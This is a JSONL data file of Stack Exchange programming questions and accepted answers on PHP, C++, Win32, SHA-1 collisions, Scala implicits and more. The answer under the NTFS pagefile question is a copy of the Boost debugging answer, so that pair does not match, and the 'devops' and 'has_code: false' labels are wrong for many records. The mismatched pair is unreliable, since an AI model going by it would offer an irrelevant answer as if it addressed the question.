{"id": "hf_0f18d0917417", "question": "<p>I would like to be able to detect what country a visitor is from on my website, using PHP. </p>\n\n<p>Please note that I'm not trying to use this as a security measure or for anything important, just changing the spelling of some words <em>(Americans seems to believe that the word \"enrolment\" has 2 Ls.... crazy yanks)</em>, and perhaps to give a default option in a \"Select your country\" list.</p>\n\n<p>As such, using a Geolocation database is a tad over-the-top and I really don't want to muck about with installing new PHP libraries just for this, so <strong>what's the easiest/simplest way to find what country a visitor is from?</strong></p>\n", "question_body": "", "answer": "You can do some IP comparaison\nwithout\nhaving a whole library to do it.\nSolution #1\nUse an API, this way nothing is needed from your side. This is a web API that let you know the country:\n```\n```\nExample: http://api.hostip.info/get_html.php?ip=12.215.42.19\n Return : Country: UNITED STATES (US)\n```\n```\nSolution #2\nBut, Have you think to use the browser agent language? You might be able to know the type of english from it.\nSolution #3\nThis website called\nBlockCountry\nlet you have a list of IP by country. Of course, you do not want to block, but you can use the list of IP and compare them (get all US IP...) this might not be accurate...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.365804"}
{"id": "hf_a25287a79b89", "question": "<p>What internal web service did your company implement first? What did you learn?</p>\n", "question_body": "", "answer": "Let me see if I can get this conversation going. My company implemented a wrapper around the most common Active Directory look-up needs. I imagine this might be one of the most common things to do first in Microsoft/.NET shops.\nAnybody implement a library of utility services? Write a facade to some SAP module? Wrap up some services for Human Resources? I'm curious to what people are working on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.416201"}
{"id": "hf_0cd19dedc8bc", "question": "<p>I know the general consensus for information like shopping cart items is to store them in session.  But what about objects that belong to a user that can be altered by other users?  Say, for instance, an eBay-like site.  If you store a user's \"items\" in session, which contain the current bid amount, and another user comes in and places a bid on that item, you would have to update both the item in the database as well as the item in session, wouldn't you?</p>\n\n<p>In cases like these, are the only options to store in session and refresh whenever any action another user takes affects a person's session values or store everything in the database and retrieve it every time (could get expensive if, say, you have the bids displayed on the side panel of every page).</p>\n", "question_body": "", "answer": "I would store it all in the database and retrieve it everytime. Depending on the volatility of the data caching for a few seconds may be in order. The biggest problem is keeping the two consistent.\nI think that it isn't as expensive as you think to retrieve the data every time. Databases are very efficient if you are looking up based on a key. I'd err on the side of simplicity (store in DB and retrieve) until performance problems show up under load (ie in Load Testing).\nIf there is only going to be a handful of times, you may be able to use the Application Cache (unless you have more than one worker process/server) and make sure the DB and cache stay in sync.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.455060"}
{"id": "hf_aef9adf319d1", "question": "<p>There's some object-oriented engineering principle that states something along the lines of \"a class should only know about the contracts of the classes that it takes as arguments, or any internal ones it uses.\"</p>\n\n<p>The counter-example, in C++, is:</p>\n\n<pre><code>Foo::bar( Baz* baz)\n{\n  baz()-&gt;blargh()-&gt;pants()-&gt;soil();  // this is bad, Foo knows about blarghs and pants\n}\n</code></pre>\n\n<p>Does this principle have a name?  Also, the actual principle rather than my paraphrase above would be nice to see.</p>\n", "question_body": "", "answer": "The\nlaw of demeter\nthanks to\nJim Burger\nsays:\nThe Law of Demeter (LoD), or Principle of Least Knowledge, is a design guideline for developing software, particularly object-oriented programs. The guideline was invented at Northeastern University towards the end of 1987, and can be succinctly summarized as “Only talk to your immediate friends.” The fundamental notion is that a given object should assume as little as possible about the structure or properties of anything else (including its subcomponents).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.506377"}
{"id": "hf_826cf4ff0ef3", "question": "<p>What is the simplest way to get the NT-ID of a user in a C# application? I would probably need to get it only having a name of the user, or maybe an email address.</p>\n", "question_body": "", "answer": "From within SharePoint, you can get a user's Active Directory information (including display name and email) using SPUtility.ResolveWindowsPrincipal:\nhttp://msdn.microsoft.com/en-us/library/microsoft.sharepoint.utilities.sputility.resolvewindowsprincipal.aspx\nFor example:\n```\n```\nSPPrincipalInfo pi = SPUtility.ResolveWindowsPrincipal(SPContext.Current.Site.WebApplication, \"MYDOMAIN\\\\myusername\", SPPrincipalType.All, false);\n```\n```\nOutside of SharePoint, you want to look at the System.DirectoryServices namespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.544383"}
{"id": "hf_d8e09c81fcae", "question": "<p>I'm learning about Win32 programming, and the <code>WinMain</code> prototype looks like:</p>\n\n<pre><code>int WINAPI WinMain ( HINSTANCE instance, HINSTANCE prev_instance, PSTR cmd_line, int cmd_show )\n</code></pre>\n\n<p>I was confused as to what this <code>WINAPI</code> identifier was for and found:</p>\n\n<pre><code>#define WINAPI      __stdcall\n</code></pre>\n\n<p>What does this do?  I'm confused by this having something at all after a return type.  What is <code>__stdcall</code> for?  What does it mean when there is something between the return type and function name?</p>\n", "question_body": "", "answer": "```\n__stdcall\n```\nis the calling convention used for the function.  This tells the compiler the rules that apply for setting up the stack, pushing arguments and getting a return value.\nThere are a number of other calling conventions,\n```\n__cdecl\n```\n,\n```\n__thiscall\n```\n,\n```\n__fastcall\n```\nand the wonderfully named\n```\n__declspec(naked)\n```\n.\n```\n__stdcall\n```\nis the standard calling convention for Win32 system calls.\nWikipedia covers the\ndetails\n.\nIt primarily matters when you are calling a function outside of your code (e.g. an OS API) or the OS is calling you (as is the case here with WinMain).  If the compiler doesn't know the correct calling convention then you will likely get very strange crashes as the stack will not be managed correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.633570"}
{"id": "hf_11d253cb7018", "question": "<p>I have a code sample that gets a <code>SEL</code> from the current object, </p>\n\n<pre><code>SEL callback = @selector(mymethod:parameter2);\n</code></pre>\n\n<p>And I have a method like </p>\n\n<pre><code> -(void)mymethod:(id)v1 parameter2;(NSString*)v2 {\n}\n</code></pre>\n\n<p>Now I need to move <code>mymethod</code> to another object, say <code>myDelegate</code>.</p>\n\n<p>I have tried:</p>\n\n<pre><code>SEL callback = @selector(myDelegate, mymethod:parameter2);\n</code></pre>\n\n<p>but it won't compile. </p>\n", "question_body": "", "answer": "You can't pass a parameter in a @selector().\nIt looks like you're trying to implement a callback.  The best way to do that would be something like this:\n```\n```\n[object setCallbackObject:self withSelector:@selector(myMethod:)];\n```\n```\nThen in your object's setCallbackObject:withSelector: method: you can call your callback method.\n```\n```\n-(void)setCallbackObject:(id)anObject withSelector:(SEL)selector {\n    [anObject performSelector:selector];\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.695170"}
{"id": "hf_c511b3ae9da7", "question": "<p>My compact framework application creates a smooth-scrolling list by rendering all the items to a large bitmap surface, then copying that bitmap to an offset position on the screen so that only the appropriate items show.  Older versions only rendered the items that should appear on screen at the time, but this approach was too slow for a smooth scrolling interface.</p>\n\n<p>It occasionally generates an OutOfMemoryException when initially creating the large bitmap.  If the user performs a soft-reset of the device and runs the application again, it is able to perform the creation without issue.</p>\n\n<p>It doesn't look like this bitmap is being generated in program memory, since the application uses approximately the same amount of program memory as it did before the new smooth-scrolling methods.</p>\n\n<p>Is there some way I can prevent this exception?  Is there any way I can free up the memory I need (wherever it is) before the exception is thrown?  </p>\n", "question_body": "", "answer": "Your bitmap definitely\nis\nbeing created in program memory.  How much memory the bitmap needs depends on how big it is, and whether or not this required size will generate the OutOfMemoryException depends on how much is available to the PDA (which makes this a randomly-occuring error).\nSorry, but this is generally an inadvisable control rendering technique (especially on the Compact Framework) for which there is no fix short of increasing the physical memory on the PDA, which isn't usually possible (and often won't fix the problem anyway, since a CF process is limited to 32MB no matter how much the device has available).\nYour best bet is to go back to the old version and improve its rendering speed.  There is also a simple technique available on CF for making a control double-buffered to eliminate flicker.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.748926"}
{"id": "hf_81f8692153b2", "question": "<p>Every time that I create a new form in my application, it uses the \"Microsoft Sans Serif, 8.25pt\" font by default. I'm not changing it because I know that in this case my form <em>should</em> pick up whatever the default font is for the system. However, when I run my application, the font that is used is still anything but Segoe UI (my default system font in my Windows Vista OS).</p>\n\n<p>Why does this happen? How do I make sure that my application looks like a normal Windows application?</p>\n", "question_body": "", "answer": "Yes, it uses the font returned by\n```\nGetStockObject(DEFAULT_GUI_FONT)\n```\n.  Which is MS Sans Serif.  An old font, long gone from most machines.  The font mapper translate it to, no surprise, Microsoft Sans Serif.\nThere is no documented procedure I know of to change that default font, the SDK docs mention MS Sans Serif explicitly.  If you want Segoe, you'll have to ask for it.  Which isn't that safe to do, there are still a lot of XP machines out there without Office 2007.  The font mapper will translate it on a machine that doesn't have Segoe available.  Not sure what pops out, I don't have such a machine left anymore.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.773354"}
{"id": "hf_f7d8c79fbaec", "question": "<p>I would like to convert an array if IDs, into a string of comma separated values, to use in a MySQL UPDATE query. How would I do this?</p>\n", "question_body": "", "answer": "```\n```\nimplode(',', $array);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.809691"}
{"id": "hf_a1e76ffc15d6", "question": "<p>Given:</p>\n\n<pre><code>CR = %0d = \\r\nLF = %0a = \\n\n</code></pre>\n\n<p>What does</p>\n\n<p>%3E,\n%3C </p>\n\n<p>Mean?</p>\n", "question_body": "", "answer": "They are URL encoded characters.  %3C is <, %3E is >\nMore info on\nURL Encoding\n, and\na chart\nof some of the lower ASCII values.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.845858"}
{"id": "hf_e59c1d52b8be", "question": "<p>I am trying to import an existing PDF as a template with FPDI.  The template is in landscape format.  If I import the template into a new document the template page is inserted in portrait form with the content rotated 90 degrees.  If my new document is in portrait the full content appears, but if the new document is also landscape, the content is cropped.</p>\n\n<p>Is it possible to use a landscape template with FPDI? </p>\n", "question_body": "", "answer": "sure, it is no problem. Just add \"L\" as parameter when calling \"addPage()\". Here is a sample which works fine for me (the template is in landscape)\n```\n```\n<?php\nrequire_once('fpdf.php');\nrequire_once('fpdi.php');\n\n$pdf =& new FPDI();\n$pdf->addPage('L');\n$pagecount = $pdf->setSourceFile('template.pdf');\n$tplIdx = $pdf->importPage(1); \n$pdf->useTemplate($tplIdx); \n$pdf->SetFont('Arial'); \n$pdf->SetTextColor(255,0,0); \n$pdf->SetXY(25, 25); \n$pdf->Write(0, \"This is just a test\"); \n$pdf->Output('newpdf.pdf', 'F');\n\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.029257"}
{"id": "hf_2fb361a2424d", "question": "<p>I have a question about variable initialization in MASM's assembly. </p>\n\n<p>How can I initialize 2^32 to a variable and to what kind of variable should I initialize? DWORD or REAL4?</p>\n\n<p>I try to do it like:</p>\n\n<pre><code>val DWORD 2.0E+32\n</code></pre>\n\n<p>When I assign var to a register(e.g. mov eax,val) and try to write the value, I see something that is not 2^32. I also tried it with REAL4 type. Result is still same. </p>\n\n<p>So What I am doing wrong here?</p>\n\n<p>Thanks in advance...</p>\n", "question_body": "", "answer": "2^32 = 4294967296 = 0x100000000 (that's 8 zeroes).\n```\n2.0E+32\n```\nis 2 * 10^32 = 200000000000000000000000000000000, a\ncompletely\ndifferent number. It's also a floating-point number, whereas\n```\n0x100000000\n```\nis an integer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.062070"}
{"id": "hf_6bbce0aa4f12", "question": "<p>In Java, is there a way to have a window that is \"Always on top\" regardless if the user switches focus to another application?  I've searched the web, and all of the solutions lean to some sort of JNI interface with native bindings.  Truly this can't be the only way to do it?.. or is it?</p>\n", "question_body": "", "answer": "Try this method of the\n```\nWindow\n```\nclass:\nWindow.setAlwaysOnTop(boolean)\nIt works the same way as the default in the Windows TaskManager: switch to another app but it shows always on top.\nThis was added in Java 1.5\nSample code:\n```\n```\nimport javax.swing.JFrame;\nimport javax.swing.JLabel;\n\npublic class Annoying {\n    public static void main(String[] args) {\n        JFrame frame = new JFrame(\"Hello!!\");\n\n        // Set's the window to be \"always on top\"\n        frame.setAlwaysOnTop( true );\n\n        frame.setLocationByPlatform( true );\n        frame.add( new JLabel(\"  Isn't this annoying?\") );\n        frame.pack();\n        frame.setVisible( true );\n    }\n}\n```\n```\nWindow remains on top even when is not active", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.098001"}
{"id": "hf_26a49079ebb8", "question": "<p>I am developing a .NET CF based Graphics Application, my project involves a lot of drawing images, We have decided to go for porting the application on different handset resolution.(240 X 240 , 480 X 640) etc. </p>\n\n<p>How would i go onto achieve this within single solution/project?</p>\n\n<p>Is there a need to create different projects based on resolutions?\nHow would i handle common files? and i need the changes in one of the common classes to occur across all devices.</p>\n\n<p>Thank you,\nCronos</p>\n", "question_body": "", "answer": "This code has worked for me in determining the resolution of the screen dynamically:\n```\n```\n[DllImport(\"coredll.dll\", EntryPoint = (\"GetSystemMetrics\"))]\npublic static extern int GetSystemMetrics(int nIndex);\n\nprivate const int SM_CXSCREEN = 0;\nprivate const int SM_CYSCREEN = 1;\n\nprivate int width = GetSystemMetrics(SM_CXSCREEN);\nprivate int height = GetSystemMetrics(SM_CYSCREEN);\n```\n```\nI don't remember it out of the top of my head, but there is also a way to get the Screen Orientation. These would help merge some code in a single Class.\nI would strongly recommend to create a single solution for all resolutions. You could have as many projects as you want under these solution. These projects could be Windows Forms Applications, Dll Library projects or Set Up Projects.\nI would aim to create a single Windows Forms Application Project. I would use the above technique and read the static images from the File System. If this doesn't work for you and/or you prefer to read your images as resources, then create an 'engine' dll project, containing all the code that is common to all resolutions. Add then the output of this project as reference to as many Windows Forms Applications projects as you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.176021"}
{"id": "hf_05924c62b774", "question": "<p>I have some code on my PHP powered site that creates a random hash (using <code>sha1()</code>) and I use it to match records in the database.</p>\n\n<p>What are the chances of a collision? Should I generate the hash, then check first if it's in the database (I'd rather avoid an extra query) or automatically insert it, based on the probability that it <em>probably</em> won't collide with another.</p>\n", "question_body": "", "answer": "If you assume that SHA-1 does a good job, you can conclude that there's a 1 in 2^160 chance that two given messages have the same hash (since SHA-1 produces a 160-bit hash).\n2^160 is a ridiculously large number. It's roughly 10^48. Even if you have a million entries in your database, that's still a 1 in 10^42 chance that a new entry will share the same hash.\nSHA-1 has proved to be fairly good, so I don't think you need to worry about collisions at all.\nAs a side note, use PHP's\nraw_output\nfeature when you use SHA-1 as this will lead to a shorter string and hence will make your database operations a bit faster.\nEDIT: To address the birthday paradox, a database with 10^18 (a million million million) entries has a chance of about 1 in 0.0000000000003 of a collision.\nReally\nnot worth worrying about.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.198107"}
{"id": "hf_e26c5227f2fe", "question": "<p>What are profound advantages that one get when using COM for developing components over the WCF? Is there anything that can be done with COM and not with WCF?</p>\n", "question_body": "", "answer": "No it's not dead yet, but it's on its death-bed, that's for sure. You see there's still to many legacy systems that use/require COM, that assures us it'll be with us for a few more years, but not in the long-run.\nAs for WCF, there might be some edge cases of stuff COM can do, and WCF can't, but more importantly, and related to legacy stuff, is that there are COM bindings for almost every language you can put on a windows stack, but the WCF bindings are not ready yet for everyone (languages)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.261748"}
{"id": "hf_dd02ad4b446a", "question": "<p>What are all the problem that you foresee in doing that.</p>\n", "question_body": "", "answer": "How big of a code base are you talking about?\nPorting a little program (that is mostly non-templated C++ code) should be fairly trivial.\nHowever I once had to convert 100.000 lines of template-using code from VC6 to VC2005, and it was a nightmare week(5 days of work), the main problem was that I had to fix by hand about 30% of the problems (70% were fairly trivial and could fix them with search & replaces). But more of an issue was the fact that the old code had no test cases and no test framework, so even after I got the application to compile and not segfault, and look ok(?), I had no assurance everything it was actually working as it was supposed to be.\nSo actually my advice is to consider the size of the code, and the availability of tests, and also consider if the code really needs to be ported (in my case that was a Yes, but its not always the case, especially if the software will be faded out soon)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.426511"}
{"id": "hf_bf58beacda7d", "question": "<p>Boost is a great set of libraries and it really <em>boosts</em> productivity. But debugging code that uses it is a total nightmare. Sure, stepping through twenty thousand header files can be a valuable intellectual exercise, but what if you need to do it over and over again?</p>\n\n<p>Is there a developer-friendly way of just skipping the boost portion and having the debugger go straight to my code?</p>\n\n<p>Visual Studio has a <a href=\"http://msdn.microsoft.com/en-us/library/system.diagnostics.debuggerstepthroughattribute.aspx\" rel=\"noreferrer\">DebuggerStepThroughAttribute</a> for .NET framework. Is there anything similar for native C++?</p>\n", "question_body": "", "answer": "You can skip the boost namespace entirely by using the techniques described\nhere\n. Just use something like:\n```\nboost\\:\\:.*=NoStepInto\n```\n... in the relevant registry entry.\nHowever if your code gets called from within boost (e.g. through a\n```\nboost::function\n```\nor similar) then your code will be skipped as well! I'll be interested if someone can come up with a good solution for\nthat\nproblem...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.450107"}
{"id": "hf_68ba237cbb73", "question": "<p>If it does, then how do you justify the overheads incurred (journaling etc.)?\nIf it does not, then how come the pagefile gets fragmented?\nAdditionally, would increasing the cluster size improve pagefile performance (cluster slack space is a non-issue)?</p>\n", "question_body": "", "answer": "You can skip the boost namespace entirely by using the techniques described\nhere\n. Just use something like:\n```\nboost\\:\\:.*=NoStepInto\n```\n... in the relevant registry entry.\nHowever if your code gets called from within boost (e.g. through a\n```\nboost::function\n```\nor similar) then your code will be skipped as well! I'll be interested if someone can come up with a good solution for\nthat\nproblem...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.475546"}
{"id": "hf_363f92830716", "question": "<p>I have a custom control that I need to use in another custom control. I have written all code at server side (no HTML). Can anyone tell me how to write below line of code in code behind using <code>htmlTextWriter</code> and how to register this control or how to write custom control within another where html is written from code behind?</p>\n<pre><code>&lt;cc2:test id=&quot;test1&quot; runat=&quot;server&quot; marqueedirection=&quot;left&quot; marqueeheight=&quot;25&quot;\n            marqueewidth=&quot;725&quot; ShowImage=&quot;False&quot; ShowTitle=&quot;False&quot; ShowUrlUnderLine=&quot;True&quot;&gt;&lt;/cc2:test\n</code></pre>\n", "question_body": "", "answer": "First, build a simple custom web control:\n```\n```\nnamespace My.Controls\n{\n    public class InnerControl : Control\n    {\n        protected override void Render(HtmlTextWriter writer)\n        {\n            writer.WriteLine(\"<h1>Inner Control</h1>\");\n        }\n    }\n}\n```\n```\nThen build your second web control that contains and renders the first:\n```\n```\nnamespace My.Controls\n{\n    public class OuterControl : Control\n    {\n        protected override void Render(HtmlTextWriter writer)\n        {\n            writer.WriteLine(\"<h1>Outer Control</h1>\");\n            InnerControl innerControl = new InnerControl();\n            innerControl.RenderControl(writer);\n        }\n    }\n}\n```\n```\nFinally, register the control on your page, and display it:\n```\n```\n<%@ Register TagPrefix=\"c\" Namespace=\"My.Controls\" %>\n<c:OuterControl runat=\"server\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.502838"}
{"id": "hf_1bbb7b127596", "question": "<p><a href=\"http://mumble.net/~campbell/emacs/paredit.el\" rel=\"noreferrer\">paredit</a> binds <code>M-&lt;up&gt;</code> and <code>M-&lt;down&gt;</code>, but I want <a href=\"http://www.emacswiki.org/emacs/WindMove\" rel=\"noreferrer\">windmove</a> to own those keybindings.  I have paredit-mode set to activate in certain modes only, but windmove is set to run globally.  I want windmove to win, but paredit steals those keybindings when it loads.</p>\n\n<p>How can I easily stop paredit from stomping on windmove's keybindings?  I have been going into <code>paredit.el</code> and commenting out the lines which set the keybinding, but this is far from ideal (I have to remember to do this every time I update paredit).</p>\n\n<p>More generally, can I load an elisp file while \"protecting\" certain keybindings from being changed?</p>\n", "question_body": "", "answer": "You can use\n```\neval-after-load\n```\nto configure paredit's behavior after loading it, as described in its comments:\n```\n```\n;;; Customize paredit using `eval-after-load':\n;;;\n;;;   (eval-after-load 'paredit\n;;;     '(progn ...redefine keys, &c....))\n```\n```\nSo, for example:\n```\n```\n(eval-after-load 'paredit\n  '(progn\n     (define-key paredit-mode-map (kbd \"<M-up>\") nil)\n     (define-key paredit-mode-map (kbd \"<M-down>\") nil)))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.527122"}
{"id": "hf_b331d1928370", "question": "<p>I want to, from JavaScript, access as a variable the file that is loaded as an image in an img tag. </p>\n\n<h2>I don't want to access its name, but the actual data.</h2>\n\n<p>The reason for this is that I want to be able to copy it to and from variables so that I can , among other things, change the image without reloading it.</p>\n\n<p>Can this be done? If so, how?</p>\n\n<p>Note: I'm slightly more interested in <em>reading</em> the data than writing it.</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nimg = new Image(); \nimg.src = \"imagefile.jpg\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.553875"}
{"id": "hf_3ac3082585a4", "question": "<p>I have got a table in MS Access 2007 with 4 fields.</p>\n<ul>\n<li>Labour Cost</li>\n<li>Labour Hours</li>\n<li>Vat</li>\n<li>Total</li>\n</ul>\n<p>How do I multiply 'Labour Hours' by 'Labour Cost' add the 'VAT' and display the answer in 'Total'</p>\n<p>Where would I put any formulas?, in a form or query or table ?</p>\n", "question_body": "", "answer": "You don't need the \"Total\" column in all probability.\nYour queries or reports will probably resemble this:\n```\n```\nSELECT [Total] = [Labour Cost] * [Labour Hours] + [VAT]\n```\n```\nYou can use the same sort of formula in controls on your forms or reports.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.588652"}
{"id": "hf_2e5b19db0f68", "question": "<p>I would like to add a method to a built-in type (e.g. Double), so that I can use an <code>infix</code> operator. Is that possible?</p>\n", "question_body": "", "answer": "Yes and no.  Yes, you can make it\nseem\nlike you have added a method to\n```\ndouble\n```\n.  For example:\n```\n```\nclass MyRichDouble(d: Double) {\n  def <>(other: Double) = d != other\n}\n\nimplicit def doubleToSyntax(d: Double) = new MyRichDouble(d)\n```\n```\nThis code adds the previously-unavailable\n```\n<>\n```\noperator to any object of type\n```\nDouble\n```\n.  So long as the\n```\ndoubleToSyntax\n```\nmethod is in scope so that it could be invoked without qualification, the following will work:\n```\n```\n3.1415 <> 2.68     // => true\n```\n```\nThe \"no\" part of the answer comes from the fact that you aren't really adding anything to the\n```\nDouble\n```\nclass.  Instead, you are creating a conversion from\n```\nDouble\n```\nto a new type which does define the method you want.  This can be a much more powerful technique than the open-classes offered by many dynamic languages.  It also happens to be completely type-safe.  :-)\nSome limitations you should be aware of:\nThis technique does not allow you to\nremove\nor\nredefine\nexisting methods, just add new ones\nThe implicit conversion method (in this case,\n```\ndoubleToSyntax\n```\n) absolutely must be in-scope for the desired extension method to be available\nIdiomatically, implicit conversions are either placed within singleton objects and imported (e.g.\n```\nimport Predef._\n```\n) or within traits and inherited (e.g.\n```\nclass MyStuff extends PredefTrait\n```\n).\nSlight aside: \"infix operators\" in Scala are actually methods.  There is no magic associated with the\n```\n<>\n```\nmethod which allows it to be infix, the parser simply accepts it that way.  You can also use \"regular methods\" as infix operators if you like.  For example, the\n```\nStream\n```\nclass defines a\n```\ntake\n```\nmethod which takes a single\n```\nInt\n```\nparameter and returns a new\n```\nStream\n```\n.  This can be used in the following way:\n```\n```\nval str: Stream[Int] = ...\nval subStream = str take 5\n```\n```\nThe\n```\nstr take 5\n```\nexpression is literally identical to\n```\nstr.take(5)\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.635616"}
{"id": "hf_2ddbe715f519", "question": "<p>What is the best way to dynamically add TableRows and TableCells to an ASP.NET table from Javascript?</p>\n\n<p>Thanks,</p>\n\n<p>Jeff</p>\n", "question_body": "", "answer": "Your question is too vague to answer completely, I'm afraid.  If you actually want to create TableRow or TableCell objects, you would of course need to post back (no need for JavaScript) or make an AJAX call (JavaScript) to server-side code.  Either way, it's not really JavaScript doing the work.  If you just want to dynamically add a row to an HTML table presented in the browser, you could accomplish this without any need for TableRow/TableCell abstractions from ASP.NET.\nFor a more complete answer you'll have to be more specific about what you are trying to accomplish.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.714604"}
